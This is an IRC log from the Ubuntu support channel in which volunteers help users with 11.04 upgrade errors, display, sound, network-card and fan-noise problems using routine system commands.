[00:41] <ParkerR> Sure
[00:41] <Jordan_U> ParkerR: Don't add that anywhere. Install standard GRUB2 and you should have no problem. BURG is not supported here. If you'd like help with BURG it has its own venues for support.
[00:42] <ParkerR> Jordan_U, There and IRC channel for it?
[00:42] <joncarr> private chat?
[00:42] <ParkerR> *an
[00:42] <Karen_m> with my remote desktop, why does it show 2 hosts showing up when there is only 1 host?
[00:42] <ParkerR> joncarr, In here
[00:42] <KNUBBIG> good night everyone :)
[00:42] <ParkerR> Night
[00:43] <Karen_m> Hosts nearby .. will always show 2 hosts when there is only 1...  one works, one doesn't
[00:43] <Karen_m> why?
[00:43] <Jordan_U> ParkerR: There doesn't appear to be. But you can ask questions on launchpad here: https://answers.launchpad.net/burg
[00:43] <Omega> Karen_m: Can't you remove the other?
[00:43] <ParkerR> Jordan_U, Thanks
[00:44] <Arphetic> see, asking my questions didnt help
[00:44] <joeyr> My external hd that has Ubuntu on it boots but there is no GUI. I have an AMD Athlon x2 p340 processor and for graphics I have ATI mobility radeon HD 4250
[00:44] <Karen_m> no it won't let me
[00:45] <Jordan_U> ParkerR: You're welcome.
[00:45] <Arphetic> Will ubuntu 11.10 work again?
[00:46] <Jasonn> How can I make xubuntu use less CPU ??
[00:46] <Jasonn> less of my CPU **
[00:46] <html_inprogress> can open office  read and write ms exlce ?
[00:46] <xangua> Jasonn: disable compositing, if you have it on
[00:46] <Jasonn> xangua: How do I check if I have it on?
[00:46] <xangua> html_inprogress: yes, but better use the odf format ;)
[00:47] <sgaap> html_inprogress: if the source file is in odf (as xlsx) then probably it can
[00:47] <xangua> Jasonn: aah... with you eyes
[00:47] <Jasonn> xangua: xD , what cmmand do I run, and what does the prog do?
[00:47] <xangua> Jasonn: haven't use xfce on a long time
[00:47] <retoco> test
[00:48] <axisys> how do I got the window menubar back.. it disappeared after enabling the rotate cube in compiz
[00:48] <kellnola> html_inprogress, it almost always can, but I haven't thrown anything too complicated at it.
[00:48] <vkillion> Can someone help me? I just installed Ubuntu 11.04 but when I start it up, it doesn't completely load and I can see various windows glitching (like the Update Manager).
[00:48] <kowen> axisys: Alt+F2, type "unity --replace" (no quotes).
[00:49] <html_inprogress> i need it cross platfrom, linux to business ms
[00:49] <quuxman> I have a sound problem. Sound does not work with any app, except for mplayer I discovered if I use -ao oss, it works
[00:49] <Jasonn> xangua: Composite is off atm, anything else I can disable?
[00:49] <sgaap> html_inprogress: if you use odf on both side (libreoffice and ms office) then it should work
[00:49] <quuxman> also, my old test of `cat /bin/ls > /dev/dsp` also produces noise
[00:50] <quuxman> alsamixer also works, but again no alsa apps produce audio
[00:50] <sgaap> html_inprogress: then it depends if you use macro's/vb
[00:51] <kevincsd> Hi there. Is there a way to ask irb not to print out the return value after each input?
[00:51] <dfgas> how do i reset up the displau
[00:51] <McQueen> hi, i was runnig ubuntu 10.10... it asked for update 11.04... it updated... now its running login screen... i can log in. its loading my desktop... desktop loading well.. i can see new ubuntu desktop... but its waiting... mouse is working... but i can not click any thing and i can not running any program... how can i fix it....
[00:51] <quuxman> the drivers are clearly working, so what's left to be broken with alsa?
[00:51] <dfgas> after upgrading to 11.04 the display is all messed up
[00:51] <Kevin147> I just got back from going to town, and now my monitor is saying "No signal out in range" something like that... I can't see a thing, so I can't fix it via the gdm.. but I'm in the terminal now, is there anyway to fix this?! 11.04
[00:52] <quuxman> Kevin147: wiggle the cable?
[00:52] <Kevin147> quuxman: doesn't do crap, I tried
[00:52] <Kevin147> if I can see the terminal on the monitor, just not the login screen
[00:52] <sgaap> Kevin: it means that the proposed res and or hz is bigger then what your monitor is capable of, did you upgrade?
[00:52] <Kevin147> theres something wrong there
[00:52] <quuxman> Kevin147: oh, duh. Didn't think of that
[00:53] <Hendrik1> hey folks
[00:53] <axisys> kowen: that did not help.. i am on ubuntu classic btw
[00:53] <quuxman> Kevin147: play with /etc/X11/xorg.conf ?
[00:53] <kowen> axisys: Ah... figured you were in Unity.
[00:53] <McQueen> hey friends... any idea for my question?
[00:54] <sgaap> Kevin: just rename you /etc/X11/xorg.conf and see if the autodetect works, maybe your old drivers arent working
[00:54] <kowen> I've had Unity muck up my taskbar with Compiz changes. Did you try running "compiz --replace" instead?
[00:54] <beanstalk> I'm trying to upgrade from 10.04 to 11.04, so I have to first upgrade to 10.10, but I get the error E:Error, pkgProblemResolver::Resolve generated breaks. How should I fix this?
[00:54] <quuxman> how is it possible that Alsa works with OSS emulation, but not by itself?
[00:55] <Hendrik1> Hey anyone interested in getting boxee into the software center -> http://goo.gl/MhatJ
[00:55] <Guest15785> if I use dd and ff correctly, can I mirror my / to /dev/sdb1 and then install windows on /dev/sda1, edit grub, and then boot from either windows or ubuntu? I guess, I'm asking if "mirroring" the hard disk to another will make it bootable? Note the hard disks are different sizes.
[00:55] <LinuxHack3r> if I use dd and ff correctly, can I mirror my / to /dev/sdb1 and then install windows on /dev/sda1, edit grub, and then boot from either windows or ubuntu? I guess, I'm asking if "mirroring" the hard disk to another will make it bootable? Note the hard disks are different sizes.
[00:55] <McQueen> my pc was runnig ubuntu 10.10... it asked for update 11.04... it updated... now its running login screen... i can log in. its loading my desktop... desktop loading well.. i can see new ubuntu desktop... but its waiting... mouse is working... but i can not click any thing and i can not running any program... how can i fix it....
[00:56] <ayecee> McQueen: I don't know, but you are truly a master of the ellipsis.
[00:56] <sgaap> McQueen, if you pick ubuntu classic desktop at gdm login does that happen too?
[00:56] <Jasonn> What can I remove in xubuntu to make it use less CPU, more specifically, firefox uses a LOT, can I maybe unload some crap in there?
[00:57] <McQueen> sgaap, i am newbie... can you show me a way...
[00:57] <sgaap> Jasonn try something like midori if you want minimal
[00:57] <zvacet> Jasonn: you can use lubuntu instead
[00:58] <sgaap> McQueen, if you are at the login screen (assuming you dont login automatically) you can choose a session, pick ubuntu classic and then login
[00:58] <soreau> Guys no matter what I do, I cannot get back into ubuntu classic mode. Even when I switch to it, it still starts unity session unity
[00:58] <ZykoticK9> Jasonn, XFCE uses close to the same amount of resources as Gnome, lxde (what lubuntu uses) is lightweight in comparison
[00:58] <LAcan> what size swap partition should I use on a 32 bit laptop with 2gb of physical ram? ubuntu 10.04...
[00:58] <Jasonn> sgaap: and is there anything other than firefix that I can take off my system to make it run better (the problem is the fans, they run SOO loud)
[00:59] <zvacet> LAcan: at least 2gb
[00:59] <McQueen> sgaap, i am loging in well, its not problem... the problem is after login... its loading my desktop.. its showing my desktop... i can move my mouse... but i cant click anything...
[00:59] <sgaap> Jasonn: if you have fans spinning you have overheating and load might not even be the primairy issue
[00:59] <Jasonn> ZykoticK9: atm, I am not looking to install a whole new os on the system, plus I like the support Xubuntu gets, as opposed to lubuntu
[00:59] <LAcan> zvacet, will more increase perofrmance or anything...?
[00:59] <cached> what's with #ubuntu-unregged? was there a spambot attack?
[00:59] <kowen> LAcan: I'd recommend twice your physical memory, personally.
[00:59] <sgaap> McQueen: the reason for testing with ubuntu classic is to see if it also happens then
[01:00] <LAcan> so 4gb kowen ?
[01:00] <kowen> That's what I do.
[01:00] <LAcan> kk
[01:00] <LjL> cached: not very recently. you might have been redirected there due to join throttling, though.
[01:00] <Jasonn> sgaap: Where can I begin to troubleshoot? I mean, i turn my comp off at night and everything, so I dont see what the problem could be
[01:00] <zvacet> LAcan: for suspen and hibernation I think
[01:00] <cached> LjL:but i haven't joined for over 4 hours
[01:00] <Kevin147> this is bs... ok, so I can go lower then what I had, but then it looks like crap, and says the same thing again... I'm on vnc atm
[01:00] <bU1137Pr00f> Does anyone know how to change the gdm in 11.04?
[01:00] <Kevin147> I want my normal screen ffs!
[01:00] <sgaap> Jasonn, it might be something hogging cpu or gpu, it might be dust or bad airflow for example.
[01:01] <ZykoticK9> Jasonn, you could install lxde on Xubuntu and give it a try, you certainly don't need to reinstall an OS
[01:01] <Jasonn> ZykoticK9: Ill look into that, thanks :)
[01:01] <Jasonn> sgaap: There is definitely no dust or any physical problems,
[01:01] <kowen> bU1137Pr00f: 11.04 uses GDM2. It's not as easily configurable as the original GDM, but there are some tools you can install to help.
[01:01] <zvacet> Jasonn: as somebody told you try midori instead of ff
[01:01] <bU1137Pr00f> kowen: got a list?
[01:02] <kowen> bUll37Pr00f: Unfortunately, no. I'm at work. :|
[01:02] <sgaap> Jasonn, if thats the case and no visible load issues are around its important to determine whats making the noise, some gpu drivers for example can cause your gpu to become hot
[01:02] <kowen> But at least that's something to go off of? :P
[01:02] <Jasonn> sgaap: and what is a gpu?
[01:03] <bU1137Pr00f> kowen: I also have some controls to add. I figured out icons but I don't know that directory controls are in.
[01:03] <ParkerR> Graphics card
[01:03] <sgaap> Jasonn: your videocard
[01:03] <steiner> how can i run nethack falconseye with out wine?
[01:03] <Jasonn> sgaap: Ok, and how would I see what is wrong with that?
[01:03] <sgaap> Jasonn, well, if its the one making the noise then its ovious it runs too hot
[01:03] <kowen> bU1137Pr00f: I'm not sure I know what you mean. In regards to GDM, or...?
[01:04] <sgaap> Jasonn: and if its not then its something else
[01:04] <html_inprogress> McQueen, do you need something?
[01:04] <reprapperMC> Is there a general problem with Ubuntu 11.04 causing intermittent wireless?
[01:04] <oneliner> is it ok to say the default firefox flash player is of relatively no use?
[01:04] <kowen> oneliner: Absolutely. :P
[01:05] <bU1137Pr00f> kowen: I downloaded log-in screens that I want to use. what program do I use to add them to gdm?
[01:05] <sgaap> Jasonn, with lm-sensors you might be able to get temp readings if all your temp monitors are found
[01:05] <beanstalk> Is anyone else updating from 10.04 to 11.04?
[01:05] <hakeon> yup
[01:05] <beanstalk> Rather, is there any way to disable third-party packages temporarily?
[01:05] <Jasonn> sgaap: Its really weird because I am sure there is nothing wrong with the airflow, in fact, my comp runs almost open, so it cant be that, but I have a dual core 2.8GhZ(per core) processor, 2.5GB ram
[01:05] <kowen> bU1137Pr00f: Ah. I know in previous versions of Ubuntu you could install gdm2setup (or something similar) which would allow you to change the login background and GTK theme.
[01:05] <sgaap> Jasonn, just "sudo apt-get install lm-sensors" and run "sensors" in a terminal
[01:05] <bU1137Pr00f> kowen: Using 11.04
[01:06] <html_inprogress> lxde, what this?
[01:06] <zvacet> beanstalk: ubuntu software center>edit>repositories
[01:06] <kowen> bU1137Pr00f: Let me look around for a second.
[01:06] <hakeon> HELP:  libreoffice impress slides blank when opened by MS powerpoint
[01:06] <beanstalk> zvacet: what do I select now?
[01:06] <zvacet> html_inprogress:  http://lxde.org/
[01:07] <reprapperMC> Using 11.04, but my internet speed through wireless is very slow.
[01:07] <hakeon> note:  also blank when opened by mac OSX
[01:07] <zvacet> beanstalk: all thir party repos like medibuntu ppa etc
[01:07] <html_inprogress> oneliner,  what do you mean no use?  what are you using it for?
[01:07] <thalll> Hi, why isnt this command eval right? /bin/sh -c watch 'cat /proc/meminfo | fgrep MemFree | sed s/[^0-9]//g >> 2.3.6.txt'
[01:07] <Jasonn> sgaap: The only one is a virtual device, and its at 60 C
[01:07] <beanstalk> zvacet: I don't have any of those
[01:08] <beanstalk> zvacet: it said that might be the problem for "E:Error, pkgProblemResolver::Resolve generated breaks" but I guess that's not it
[01:08] <sgaap> Jasonn: then its probably not reconizing your hardware monitors
[01:08] <zvacet> beanstalk: good,then you can start upgrade
[01:08] <ryan-c|m> anyone know why my monitor shuts off once grub loads the kernel on natty?  I disabled the splash and vt.handoff and it still does it.
[01:08] <bencc> when rotating logs, what is the error.log.1 file?
[01:08] <numbah1hax0r> Can somebody help me?
[01:08] <Jasonn> sgaap: How do I fix that?
[01:08] <beanstalk> zvacet: I get the same error :(
[01:08] <oneliner> html_inprogress: nothing much, just stuff it was obviously not meant to do, like, surf the web, n stuff
[01:08] <sgaap> Jasonn, do you have any other os, if so does it happen to run hot too?
[01:08] <ryan-c|m> it doesn't seem to be dhcping either
[01:08] <bencc> I understand the error.log.2.gz file
[01:08] <numbah1hax0r> In Xchat I can't see the list of users.
[01:08] <Jasonn> sgaap: Nope, only xubuntu
[01:08] <zvacet> beanstalk: is your maverick up-to-date
[01:09] <beanstalk> zvacet: yep
[01:09] <KM0201> numbah1hax0r: view/userlist  is it checked?
[01:09] <kowen> bU1137Pr00f: Try this. https://launchpad.net/gdm2setup
[01:09] <sgaap> Jasonn, if you do top in a terminal is one of the loads above 1?
[01:09] <beanstalk> zvacet: actually, I'm on Lucid Lynx
[01:09] <beanstalk> 10.04 lts
[01:09] <numbah1hax0r> KM0201, thanks for responding but I fixed it. :D
[01:10] <zvacet> beanstalk: you can not skip versions
[01:10] <KM0201> ok
[01:10] <Jasonn> sgaap: no, but one is 0.96
[01:10] <beanstalk> zvacet: I'm trying to update to 10.10 so I can then update to 11.04
[01:10] <zvacet> beanstalk: do you have separate home
[01:10] <Jasonn> sgaap: Am now installing something, and one is at 1.07, the other at 1.05 and the other at 0.97
[01:10] <beanstalk> zvacet: nope
[01:11] <ZykoticK9> beanstalk, by default LTSs will only upgrade to another LTS - sorry I don't know what you have to change to get non-LTS version.  Good luck.
[01:11] <sgaap> Jason, its rather high, or you system is very old
[01:11] <beanstalk> ZykoticK9: I've already changed the setting to let it go to 10.10
[01:11] <beanstalk> (non-lts
[01:11] <beanstalk> )
[01:11] <tepster> hi quick question - is it common practice to encrypt the home directory? it that what most users do?
[01:11] <Rehan> anytime I switch to a tty (virtual terminal), not only does my X crash but my tty text asking for me to login is wavy/blurry. I'm using nvidia proprietary drivers. Could anyone assist me please? Thank you.
[01:11] <zvacet> beanstalk: you can try upgrade with 10.10 alternate cd
[01:11] <Jasonn> sgaap: The system is not too old, its a thinkcenter from IBM, its like 4 yrs old
[01:11] <LAcan> tepster, ya and its a good idea
[01:11] <beanstalk> zvacet: I have a netbook, so I can't use a CD
[01:11] <bear_> command line, install medibuntu codec? how to?
[01:12] <zvacet> beanstalk: but I don´t know why you are getting those errors
[01:12] <DasEi> beanstalk: sudo update-manager -d  tells ?
[01:12] <beanstalk> DasEi: let me see
[01:12] <Logan_> !medibuntu | bear_
[01:12] <ubottu> bear_: medibuntu is a repository of packages that cannot be included into the Ubuntu distribution for legal reasons - See http://www.medibuntu.org
[01:12] <sgaap> Jason, and does top show apps with high cpu and/or mem?
[01:12] <html_inprogress> oneliner,  whats your os ? and  might not have got every thing
[01:12] <beanstalk> DasEi: that's just the normal update manager
[01:13] <bU1137Pr00f> kowen: Thanks. Know do you know where I can put my controls so other users can have access to them through the appearance menu?
[01:13] <ZykoticK9> DasEi, "u-m -d" is saying update to development version
[01:13] <Jasonn> sgaap: Xorg
[01:13] <DasEi> !!upgrade | beanstalk
[01:13] <ubottu> beanstalk: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[01:13] <Jasonn> sgaap: software-center, and xchat
[01:13] <FreeFreak> hello
[01:13] <beanstalk> DasEi: I know how to upgrade
[01:13] <beanstalk> but now it's saying it's a release candidate
[01:13] <FreeFreak> can I talk about Wubi installer here?
[01:13] <sgaap> Jasonn, for example, mine is taking around a few % cpu max, with spikes depending on activity
[01:13] <sgaap> Jasonn: for xorg
[01:14] <wasabi> Howdy, howdy. Anybody have any knowledge about the progress of multiarch?
[01:14] <KM0201> FreeFreak: only if you wanna be laughed and pointed out... ;)
[01:14] <DasEi> beanstalk: which version it suggests ? natty (11.04) or even further ?
[01:14] <Jasonn> sgaap: Same on mine, just the spikes are really high, and I am talking system overall, and when the spikes happen, it goes REALLY loud
[01:14] <Nexxy> presumably easy question here ~ I have an LCD monitor connected to my laptop via VGA... it's being detected as CRT1 according to xrandr, and it won't allow me to set the proper resolution (1920x1080)... anyone have any pointers for me?
[01:14] <ZykoticK9> wasabi, multiarch is a Debian thing isn't it?
[01:14] <zus> what is the  command for  upgrading distro? is it sudo apt-get dist-updgrade?
[01:14] <wasabi> And ubuntu, of course.
[01:14] <forevertheuni> hey I was upgrading to 11.04 and..well there was a problem in the end of installation with nswrapperplugin  so everything stopped before the cleaning etc etc...how can I resume? or what can I do to do it manually?
[01:14] <Logan_> !upgrade | zus
[01:14] <ubottu> zus: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[01:14] <maco> zus: sudo do-release-upgrade to go to a new version
[01:14] <beanstalk> it says 10.10
[01:15] <sgaap> Jasonn: then it might be your driver
[01:15] <zvacet> zus: no
[01:15] <LAcan> Nexxy, does your vcard support that resolution?
[01:15] <Jasonn> sgaap: How do I upgrade that?
[01:15] <sgaap> Jasonn: whats your graphics card?
[01:15] <Jasonn> sgaap: xD how do I check that?
[01:15] <zus> i need the cli syntax i think.
[01:15] <Nexxy> yes, it was displaying properly at one point, now it's not showing that resolution as an option anymore, and I'm not sure why it disappeared
[01:15] <ZykoticK9> Jasonn, "lspci | grep -i vga"
[01:15] <maco> zus: sudo do-release-upgrade
[01:15] <sgaap> Jasonn, what zykotick9 just said
[01:16] <zus> thanks
[01:16] <Jasonn> ZykoticK9: sgaap Thanks :)
[01:16] <Jasonn> sgaap: ZykoticK9: 00:02.0 VGA compatible controller: Intel Corporation 82945G/GZ Integrated Graphics Controller (rev 02)
[01:16] <DasEi> !who | beanstalk
[01:16] <ubottu> beanstalk: As you can see, this is a large channel. If you're speaking to someone in particular, please put their nickname in what you say (use !tab), or else messages get lost and it becomes confusing :)
[01:16] <sgaap> Jasonn: thats the only one in the list?
[01:16] <beanstalk> DasEi: that was to you :P
[01:17] <Jasonn> sgaap: Yeah
[01:18] <zvacet> beanstalk: si you upgraded to 10.10
[01:18] <bU1137Pr00f> kowen: Got a 404 error for gdm2setup
[01:18] <sgaap> Jasonn, im not sure then, it might just be an issue with that driver
[01:18] <DasEi> beanstalk: either can set the update-manager to prompt for new releases or go by http://paste.ubuntu.com/602553/ as mentioned above
[01:18] <beanstalk> zvacet: I'm trying to.
[01:19] <Jasonn> sgaap: Hm
[01:19] <beanstalk> DasEi, zvacet: I've already set it to do that. I pressed the button to upgrade to 10.10. That's what's giving me "E:Error, pkgProblemResolver::Resolve generated breaks."
[01:19] <sgaap> Jasonn: does the graphics card has a fan? its an integrated gpu so it might be fanless
[01:20] <Darxus> How do I get back to an application, in unity, after I minimized it?  It's not showing up in the alt-tab thing, or the panel.
[01:20] <Jasonn> sgaap: Fanless
[01:20] <bU1137Pr00f> Darxus: Sure you minimized it?
[01:20] <sgaap> well, then it can hardly be the source of the noise, so it must be something else :s
[01:20] <forevertheuni> hey I was upgrading to 11.04 and..well there was a problem in the end of installation with nswrapperplugin  so everything stopped before the cleaning etc etc...how can I resume? or what can I do to do it manually?
[01:20] <Darxus> bU1137Pr00f: Yup, I was testing my theory that a different app disappeared because I minimized it.
[01:21] <Darxus> The app is azureus.
[01:21] <quuxman> any ideas why alsa wouldn't work, but oss emulation does?
[01:21] <sgaap> Jasonn: can you make up which fans make more noise, casefan, or cpu
[01:21] <Darxus> I can still see it in ps.
[01:21] <PurplePuppies> WOOOO
[01:21] <PurplePuppies> WASSSUP CHANNNEEEELLL!!
[01:21] <bU1137Pr00f> Darxus: I have the same problem with Skype. Unity likes to do that.
[01:21] <Jasonn> sgaap: I can point to it, just dont know what its called.
[01:21] <FreeFreak> hello
[01:21] <Jasonn> !ot | PurplePuppies
[01:21] <ubottu> PurplePuppies: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[01:21] <FreeFreak> again :)
[01:21] <DasEi> beanstalk: is your system updated/graded ?
[01:22] <FreeFreak> what is the package name of the wubi installer?
[01:22] <sgaap> Jasonn: you got 3 fans minimum: psu (power), cpu and case
[01:22] <beanstalk> DasEi: yes. I've installed all the latest updates.
[01:22] <DasEi> beanstalk: sudo apt-get update && sudo apt-get upgrade
[01:22] <bear_> lol PurplePuppies ,,  the dogs are going wilded again...
[01:22] <Jasonn> sgaap: Case is the one pointing outside sucking air
[01:22] <beanstalk> DasEi: I'll try
[01:22] <Jasonn> ?
[01:22] <PurplePuppies> hahahahah
[01:22] <zvacet> beanstalk:just suggestion but try sudo apt-get -f install
[01:22] <PurplePuppies> Jasonn: Why hello.
[01:22] <Darxus> bU1137Pr00f: Is it because it's trying to minimize to the... icon tray thing that doesn't exist anymore?
[01:22] <sgaap> Jasonn, yes, or blowing it out
[01:22] <beanstalk> zvacet: what does that do?
[01:22] <bazhang> PurplePuppies, ubuntu support question?
[01:22] <Jasonn> sgaap: Its the case one
[01:22] <sgaap> Jasonn: you can have more then one
[01:23] <PurplePuppies> Bazhang: always
[01:23] <zvacet> beanstalk: fix broken packages if any
[01:23] <beanstalk> oh ok
[01:23] <FreeFreak> what is the package name of the wubi installer?
[01:23] <bazhang> PurplePuppies, chat in #ubuntu-offtopic NOT here
[01:23] <Jasonn> sgaap: Yeah, there are 2 at the front, and just holes at the back, its both
[01:23] <bU1137Pr00f> Darxus: Your guess is as good as mine. I gave up on Unity. Switched it to the Ubuntu Classic profile.
[01:23] <14WAA642U> For some reason, after I pair my phone's bluetooth, I don't see the mobile internet connection I created as a network option.  I made sure to save the connection and check "allow all users".
[01:23] <sgaap> Jasonn, then it might be set like that in the bios, just responding on extra heat
[01:23] <Darxus> bU1137Pr00f: Okay, thanks.  I didn't expect to stick with unity as long as I already have....
[01:23] <14WAA642U> Anyone know what might cause that?
[01:23] <PurplePuppies> bazhang: dont be sucha grump
[01:23] <FreeFreak> please tell me and i'll leave
[01:24] <FreeFreak> what is the package name of the wubi installer?
[01:24] <sgaap> Jasonn, still, they accumulate dust faster then vacuumcleaners
[01:24] <KM0201> FreeFreak: using wubi is detailed on the ubuntu site.. but it's not really a good idea
[01:24] <KM0201> !wubi | FreeFreak
[01:24] <ubottu> FreeFreak: Wubi is an Ubuntu installer for Windows users that allows you to install and uninstall Ubuntu like a Windows application, in a simple and safe way. http://wubi-installer.org/support.php and https://wiki.ubuntu.com/WubiGuide for troubleshooting. Please  file bugs at http://launchpad.net/wubi/+filebug. For Ubuntu Maverick/10.10 http://releases.ubuntu.com/maverick/wubi.exe
[01:24] <bU1137Pr00f> Darxus: Don't get me wrong... I like Unity, well some of the features they added, but it really isn't Gnome 3
[01:24] <Jasonn> sgaap: Ill clean it out and look at the bios
[01:24] <sgaap> Jasonn, i use compressed air from time to time to clean mine our
[01:24] <_numbers> this is a fresh install of ubuntu 10.10 server and apt-get install mysql-server doesn't work. after its installed i run mysql client but get an error that it can't connect to the mysqld.sock. any ideas? has happened a lot to me.
[01:24] <Jasonn> sgaap: Thanks a lot mate :
[01:24] <Jasonn> )
[01:24] <sgaap> if its not load or so then i cant think of any other reason
[01:24] <FreeFreak> thanks a lot
[01:24] <Nexxy> _numbers, did you start the mysql daemon?
[01:24] <Leprikonas> Has anybody tryed installing ubuntu on Inspiron duo?
[01:25] <_numbers> Nexxy: yes
[01:25] <jpohl> after upgrading to xubuntu natty when i try to shutdown or restart it just takes me back to the login screen
[01:25] <bU1137Pr00f> Leprikonas: I have mine on an Inspiron 1545.
[01:25] <kesi> Hi, I just installed ubuntu server and I'm trying to get it to recognize my network cards (wireless or wired) and having no luck.  Any suggestions?  The only interface listed under ifconfig is lo.  I see the ethernet card under lspci
[01:26] <bU1137Pr00f> kesi: Ever have to play around with Gentoo?
[01:27] <Rehan> anytime I switch to a tty (virtual terminal), not only does my X crash but my tty text asking for me to login is wavy/blurry. I'm using nvidia proprietary drivers. Could anyone assist me please? Thank you.
[01:27] <bU1137Pr00f> kesi: lo is your loopback, if eth0 isn't in your ifgonfig, then the drivers for it didn't install.
[01:27] <Leprikonas> ok, then has anybody trien ubuntu on a convertible tanlet pc?
[01:27] <Leprikonas> *tablet
[01:28] <DasEi> kesi: what does : sudo ifup eth0 inet dhcp     repeat ?
[01:28] <kesi> bU1137Pr00f: it shows up in lscpci.. what can I do?
[01:28] <cache_surplus> jpohl: uname -a
[01:29] <html_inprogress> jpohl,  if you set it up like so
[01:29] <beanstalk> I get the error "E:Error, pkgProblemResolver::Resolve generated breaks" during the second step of upgrading. Any ideas on how to fix it?
[01:29] <Superstar_> How do I generate a apache password file in Ubuntu?
[01:29] <bU1137Pr00f> keri: Unless it has a connection to the internet, I'm not sure what you can do.
[01:29] <cache_surplus> jpohl: shutdown -r now
[01:29] <bU1137Pr00f> keri: let me look how to do it in gentoo. should be similar
[01:30] <DasEi> beanstalk: never heard of that error, try from single mode, repair broken packages, if that doesn't help, choose another server
[01:30] <bU1137Pr00f> keri: try net-setup.
[01:30] <html_inprogress> Leprikonas,  no, but have you?
[01:31] <bU1137Pr00f> keri: net-setup eth0
[01:31] <beanstalk> DasEi: what's single mode? I've already repaired broken packages. and how do I choose another server? :P
[01:31] <retoco> How can i find out what's the range of IPs of my ISP??
[01:31] <Berto> Hi - Is simply installing unattended-upgrades on my 10.04 servers enough to get auto updates?  Do I need to change config files?
[01:31] <bU1137Pr00f> keri: nm... didn't work.
[01:31] <DasEi> beanstalk: single-mode is tried ? sudo synaptic > sources > choose downloadserver
[01:32] <cache_surplus> jpohl: you can goto terminal by pressing cntr-alt-F2, then logging in an executing those commands..
[01:32] <bU1137Pr00f> keri: Reinstall?
[01:32] <html_inprogress> bU1137Pr00f,   just manually install it
[01:32] <DasEi> kesi: ?
[01:33] <kesi> DasEi: it says ignoring unknown interface eth0=eth0.  Ignoring unknown interface inet=inet.  Ignoring unknown interface dhcp=dhcp
[01:33] <tensorpudding> if you're making a package, and you put icons in hicolor, is adding hicolor-theme to the dependencies enough to make sure that installing it does the right thing?
[01:33] <html_inprogress> retoco, whys thats you ask?
[01:34] <DasEi> kesi: sudo ifup wlan0 eth1  ?
[01:34] <kesi> bU1137Pr00f: net-setup command not found
[01:35] <Nexxy> so I've determined that both my video card and monitor support the 1920 x 1080 resolution. It appears as though it is an issue with the fact that ubuntu identified my LCD monitor as CRT (presumably due to the VGA connection). Is xorg.conf the most appropriate way to address this?
[01:35] <forevertheuni> so I updated to 11.04...and my gnome doesn't work anymore I have a black screen with stuff running on the back..I tried ubuntu and ubuntu-classic with no effect..I managed to come to kde what can I do? the upgrade failed in the end of installing pkgs and the cleaning didn' take place
[01:36] <Leprikonas> html_inprogress, not yet, I will get my dell duo on next saturday :D
[01:36] <foodstamp> any ideas on getting mic (ext & int) configured in xubuntu 11.04? i've already enbled everything that i can think of
[01:36] <jpohl> cache_surplus: i already tried that, trying to shutdown like that way locks up the computer
[01:36] <LAcan> how do i enable VNC server on 10.04... is it installed by default?
[01:36] <kesi> DasEi: ignoring unknown interface wlan0=wlan0.
[01:36] <kesi> Ignoring unknown interface eth1=eth1
[01:37] <sgaap> foreverthenuni: tried sudo apt-get -f install?
[01:37] <html_inprogress> Leprikonas,  did you do your research?
[01:38] <DasEi> kesi: so for some reason it appears the drivers for your NIC's are missing, can you pastebin the part of lspci telling about the NIC ?
[01:38] <kesi> ok
[01:38] <forevertheuni> sgaap i'll try
[01:39] <Leprikonas> html_inprogress, no, just now i'm reading a http://ubuntuforums.org/showthread.php?t=1658635&page=37
[01:39] <forevertheuni> sgaap, nup nothing missing
[01:39] <LAcan> is VNC installed by default in 10.04?
[01:40] <kesi> DasEi: 02:05.0 Ethernet controller: Realtek Semiconductor Co., Ltd RTL-8139/8139c/8139C+ (rev 10)
[01:40] <sgaap> forevertheuni: so its only a black background in unity?
[01:40] <html_inprogress> Leprikonas,  pm ?    http://www.youtube.com/watch?v=vGlPvnW6mgU
[01:40] <DasEi> forevertheuni: (!logs you off, so first read) sudo init 1 >choose repair broken p.. , then choose root : sudo dpkg-reconfigure xserver-xorg, sudo service gdm start
[01:40] <forevertheuni> sgaap, aye pop-ups notif come and "crash reports" windows
[01:41] <sgaap> forevertheuni: what kind of?
[01:42] <Leprikonas> looks oh thanx html_inprogress
[01:42] <forevertheuni> I have to reboot to come to ini1 cause I think my nvidia module breaks the fbuffer
[01:43] <Jasonn> How do I find a folder
[01:43] <Jasonn> on the whole filesystem (Also subfolders)
[01:44] <antihc333> I am going thru the BIND9ServerHow to.  I decided to stick with "mydomain.com"  to test with.  I have all the configuration done but mydomain.com does not resolve. and ns.mydomain.com does.  Any suggestions
[01:44] <DasEi>  kesi: 8139, absolutely common, are there more than just the two  realtek and wireless ?
[01:45] <Jasonn> How do I find a folder
[01:45] <Jasonn> on the whole filesystem (Also subfolders)
[01:45] <kesi> DasEi: nope.  Nothing else
[01:45] <kesi> DasEi: network related that is
[01:45] <kesi> DasEi: running the install again and it sees both
[01:46] <DasEi> kesi: you connect via dhcp ?
[01:46] <kesi> DasEi: yes
[01:46] <DasEi> kesi: one more try :
[01:46] <DasEi> kesi: sudo nano /etc/network/interfaces
[01:46] <coz_> Jasonn,   you could open  gnome-keybing-properties to see the default shortcut or create a shortcut for "Search"
[01:46] <hakeon> anyone help w/ ubuntu 11.04 libreoffice impress compatibility w/ MS?
[01:46] <mbeierl> anyone familiar with Arista?  I can't seem to tell it which title I want to rip from the DVD
[01:46] <DasEi> kesi: add a block :
[01:46] <kesi> DasEi: the installer found it and seemed to connect.  Guess I'll see if it works this time. It's a fast install on this computer and I just did a clean install
[01:46] <Jasonn> coz_: What is the default?
[01:47] <nothingspecial> Jasonn: find / -type d -name 'name_of_folder'
[01:47] <Rehan> is there a way i can transfer my currently installed ubuntu partition to my USB flash drive and just have it boot from there?
[01:47] <Jasonn> nothingspecial: Thanks :)
[01:47] <coz_> Jasonn,  actually I think is is some strange letter+number combination,, I always change that to left-alt+Home  keys
[01:47] <DasEi> kesi: auto eth0
[01:47] <DasEi> iface eth0 inet dhcp
[01:47] <jmrenner> hey guys ever since I've installed Natty I've had all sorts of suspend/hibernate/resume issues
[01:48] <coz_> Jasonn,   you may also want to look into easystroke  gesture recognition for mouse gestures systemically
[01:48] <RavenHursT> So how do I bring up my buddy lists in Empathy?
[01:48] <DasEi> kesi: two lines, save interfaces, then sudo networking restart
